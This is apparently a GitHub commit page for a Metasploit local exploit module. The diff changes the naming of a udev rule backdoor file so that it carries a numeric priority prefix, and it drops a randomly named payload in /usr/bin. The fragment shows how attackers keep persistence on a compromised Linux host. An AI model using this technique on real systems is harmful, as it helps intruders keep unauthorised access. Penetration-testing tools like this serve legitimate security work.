Merge pull request #20286 from msutovsky-r7/fix/add_priority_udev_persistence

Adds different udev rule naming for udev persistence
This commit is contained in:
Brendan
2025-06-04 09:08:49 -05:00
committed by GitHub
@@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Local
def exploit
@payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']
@backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
@backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
unless writable? File.dirname(@backdoor_path)
fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"